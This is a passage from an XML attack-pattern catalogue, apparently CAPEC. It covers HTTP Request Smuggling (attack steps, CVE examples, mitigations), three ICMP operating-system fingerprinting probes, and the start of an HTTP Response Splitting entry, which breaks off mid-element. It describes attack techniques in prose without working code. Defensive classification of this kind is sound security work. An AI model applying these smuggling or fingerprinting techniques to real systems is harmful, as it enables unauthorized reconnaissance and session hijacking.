												<Outcome_Description>The attacker gets the users to
												be served with this cached malicious HTTP
												request.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for consecutive suspicious HTTP
												requests.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Session Hijacking</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker decides to target the web server by
												crafting a malicious HTTP Request containing a
												second HTTP Request using syntax that will not be
												processed and acted on by an outer "filter" parsing
												layer but will be acted on by the inner web
												server/application processing layers. The
												application/web server will then act on the
												malicious HTTP Request as if it is a valid request
												from the client potentially subverting session
												management.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Leverage the vulnerabilities identified in
												the Experiment Phase to inject malicious HTTP
												request that contains HTTP Request syntax that
												will not be processed and acted on by the outer
												parsing layer of the malicious content filters but
												will be by the inner application/web server layer.
												In this way it will be acted on by the
												application/web server as if it is a valid request
												from the client.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the
												application/web server to act on the malicious
												HTTP request and allows the attacker to gain
												control of the target user's
												session.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Monitor server logs
												for consecutive suspicious HTTP
												requests.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An additional HTTP entity such as an application firewall or a web caching
						proxy between the attacker and the second entity such as a web server</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Differences in the way the two HTTP entities parse HTTP requests</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction
							with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x,
							it is possible to bypass certain application firewall protections,
							hijack web sessions, perform Cross Site Scripting or poison the web
							proxy cache using HTTP Request Smuggling. Differences in the way HTTP
							requests are parsed by the Proxy Server and the Application Server
							enable malicious requests to be smuggled through to the Application
							Server, thereby exposing the Application Server to aforementioned
							attacks.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-6276</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Apache server 2.0.45 and version before 1.3.34, when used as a proxy,
							easily lead to web cache poisoning and bypassing of application firewall
							restrictions because of non-standard HTTP behavior. Although the
							HTTP/1.1 specification clearly states that a request with both
							"Content-Length" and a "Transfer-Encoding: chunked" headers is invalid,
							vulnerable versions of Apache accept such requests and reassemble the
							ones with "Transfer-Encoding: chunked" header without replacing the
							existing "Content-Length" header or adding its own. This leads to HTTP
							Request Smuggling using a request with a chunked body and a header with
							"Content-Length: 0".</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2005-2088</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker has to have detailed knowledge of the HTTP protocol
							specifics and must also possess exact details on the discrepancies
							between the two targeted entities in parsing HTTP requests.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>If system documentation is available, the attacker can look up the
							exact versions of the two targeted entities, since different versions of
							the same system often behave differently. The attacker can also use
							product-specific documentation to figure out differences in parsing HTTP
							requests between the two entities.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>In case where no documentation is available, the attacker needs to
							reliably fingerprint the targeted entities to discover the nature and
							version of the entities. Having done this, the attacker then needs to
							experimentally determine how the two entities differ in parsing
							requests.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Differences in requests processed by the two entities. This requires
							careful monitoring or a capable log analysis tool.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>HTTP Request Smuggling is usually targeted at web servers. Therefore, in
						such cases, careful analysis of the entities must occur during system design
						prior to deployment. If there are known differences in the way the entities
						parse HTTP requests, the choice of entities needs consideration.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Employing an application firewall can help. However, there are instances
						of the firewalls being susceptible to HTTP Request Smuggling as well.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>

			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>HTTP requests that are interpreted and parsed differently by the targeted
					entities.</Text>
			</Injection_Vector>
			<Payload>
				<Text>HTTP request to be smuggled through the first entity to the second one.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The application server behind another HTTP entity</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The impact of activation is that a particular request that was not
						supposed to pass through the first entity is received by the second entity
						who responds to it. This can defeat protection against malware or lead to
						Cross-Site Scripting</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>444<!--Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>436<!--Interpretation Conflict--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>359<!--WASC Threat Classification 2.0 - WASC-26 - HTTP Request Smuggling--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>System integration testing must include security checks to protect against
						Multiple Interpretation Errors across systems.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Economy of Mechanism</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Securing the Weakest Link</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Carefully Study Other Systems Before Incorporating Them into Your
						System</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Design Configuration Subsystems Correctly and Distribute Safe Default
						Configurations</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>CWE - HTTP Request Smuggling</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Multiple Interpretation Error</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B Chhaya</Submitter>
						<Submission_Date>2007-01-10</Submission_Date>
						<Submission_Comment>First Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Malik Hamro</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-27</Modification_Date>
						<Modification_Comment>Reformat to new schema and
							review</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="330" Name="ICMP Error Message Echoing Integrity Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a technique to generate an ICMP Error message (Port
						Unreachable, Destination Unreachable, Redirect, Source Quench, Time
						Exceeded, Parameter Problem) from a target and then analyze the integrity of
						data returned or "Quoted" from the originating request that generated the
						error message. For this purpose "Port Unreachable" error messages are often
						used, as generating them requires the attacker to send a UDP datagram to a
						closed port on the target. When replying with an ICMP error message some
						IP/ICMP stack implementations change aspects of the IP header, change or
						reverse certain byte orders, reset certain field values to default values
						which differ between operating system and firmware implementations, and make
						other changes. Some IP/ICMP stacks are decidedly broken, indicating a
						idiosyncratic behavior that differs from the RFC specifications, such as the
						case when miscalculations affect a field value. A tremendous amount of
						information about the host operating system can be deduced from its
						'echoing' characteristics. Notably, inspection of key protocol header
						fields, including the echoed header fields of the encapsulating protocol can
						yield a wealth of data about the host operating system or firmware version.
					</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Type</Protocol_Field_Name>
										<Protocol_Field_Description>The ICMP Type Field determines
											the function of the ICMP query. A Type 8 message directs
											the target to reply to the sender of the echo request
											message with an echo reply message. In forming an echo
											reply the source and destination addresses are switched,
											the Type field is set to '0', any data contained in the
											data portion of the echo request is sent "echoed" back
											to the host, and the checksum is recalculated. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>ICMP echo requests may contain arbitrary data
											as a payload. When the ICMP Type is 8 (echo request),
											the data received in the echo message must be returned
											in the echo reply message. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send a UDP datagram to a closed port and recieve an ICMP
						Error Message Type 3, "Port Unreachable."</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>316<!--ICMP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Ofir Arkin, et.al</Reference_Author>
					<Reference_Title>A Remote Active OS Fingerprinting Tool using
						ICMP</Reference_Title>
					<Reference_PubDate>2008</Reference_PubDate>
					<Reference_Link>http://ofirarkin.files.wordpress.com/2008/11/login.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="331" Name="ICMP IP Total Length Field Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a UDP packet to a closed port on the target machine to
						solicit an IP Header's total length field value within the echoed 'Port
						Unreachable" error message. RFC1122 specifies that the Header of the request
						must be echoed back when an error is sent in response, but some operating
						systems and firmware alter the integrity of the original header.
						Non-standard ICMP/IP implementations result in response that are useful for
						individuating remote operating system or router firmware versions. There are
						four general response types that can be used to distinguish operating
						systems apart.</Text>
					<Block Block_Nature="List">
						<Text>1. The IP total length field may be calculated correctly.</Text>
						<Text>2. An operating system may add 20 or more additional bytes to the
							length calculation.</Text>
						<Text>3. The operating system may subtract 20 or more bytes from the correct
							length of the field</Text>
						<Text>4. The IP total length field is calculated with any other incorrect
							value.</Text>
					</Block>
					<Text>This type of behavior is useful for building a signature-base of operating
						system responses, particularly when error messages contain other types of
						information that is useful identifying specific operating system responses.
					</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Type</Protocol_Field_Name>
										<Protocol_Field_Description>The ICMP Type Field determines
											the function of the ICMP query. A Type 8 message directs
											the target to reply to the sender of the echo request
											message with an echo reply message. In forming an echo
											reply the source and destination addresses are switched,
											the Type field is set to '0', any data contained in the
											data portion of the echo request is sent "echoed" back
											to the host, and the checksum is recalculated. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>ICMP echo requests may contain arbitrary data
											as a payload. When the ICMP Type is 8 (echo request),
											the data received in the echo message must be returned
											in the echo reply message. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>316<!--ICMP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Ofir Arkin, et.al</Reference_Author>
					<Reference_Title>A Remote Active OS Fingerprinting Tool using
						ICMP</Reference_Title>
					<Reference_PubDate>2008</Reference_PubDate>
					<Reference_Link>http://ofirarkin.files.wordpress.com/2008/11/login.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="332" Name="ICMP IP 'ID' Field Error Message Probe"
			Pattern_Abstraction="Detailed" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a UDP datagram having an assigned value to its internet
						identification field (ID) to a closed port on a target to observe the manner
						in which this bit is echoed back in the ICMP error message. The internet
						identification field (ID) is typically utilized for reassembling a
						fragmented packet. RFC791 and RFC815 discusses about IP datagrams,
						fragmentation and reassembly. Some operating systems or router firmware
						reverse the bit order of the ID field when echoing the IP Header portion of
						the original datagram within the ICMP error message. There are 3 behaviors
						that can be used to distinguish remote operating systems or firmware.</Text>
					<Block Block_Nature="List">
						<Text>1.The IP ID field is echoed back identically to the bit order of the
							ID field in the original IP header.</Text>
						<Text>2.The IP ID field is echoed back, but the byte order has been
							reversed.</Text>
						<Text>2.The IP ID field contains an incorrect or unexpected value.</Text>
					</Block>
					<Text> Different operating systems will respond by setting the IP ID field
						differently within error messaging. This allows the attacker to construct a
						fingerprint of specific OS behaviors.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Type</Protocol_Field_Name>
										<Protocol_Field_Description>The ICMP Type Field determines
											the function of the ICMP query. A Type 8 message directs
											the target to reply to the sender of the echo request
											message with an echo reply message. In forming an echo
											reply the source and destination addresses are switched,
											the Type field is set to '0', any data contained in the
											data portion of the echo request is sent "echoed" back
											to the host, and the checksum is recalculated. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>ICMP echo requests may contain arbitrary data
											as a payload. When the ICMP Type is 8 (echo request),
											the data received in the echo message must be returned
											in the echo reply message. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send a UDP datagram to a closed port and recieve an ICMP
						Error Message Type 3, "Port Unreachable.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>316<!--ICMP Fingerprinting Probes--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Ofir Arkin, et.al</Reference_Author>
					<Reference_Title>A Remote Active OS Fingerprinting Tool using
						ICMP</Reference_Title>
					<Reference_PubDate>2008</Reference_PubDate>
					<Reference_Link>http://ofirarkin.files.wordpress.com/2008/11/login.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="34" Name="HTTP Response Splitting" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack uses a maliciously-crafted HTTP request in order to cause a
						vulnerable web server to respond with an HTTP response stream that will be
						interpreted by the client as two separate responses instead of one. This is
						possible when user-controlled input is used unvalidated as part of the
						response headers. The target software, the client, will interpret the
						injected header as being a response to a second request, thereby causing the
						maliciously-crafted contents be displayed and possibly cached.</Text>
					<Text>To achieve HTTP Response Splitting on a vulnerable web server, the
						attacker:</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links on a web site. He records
												all the links, the forms and all potential
												user-controllable input points for the web
												application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
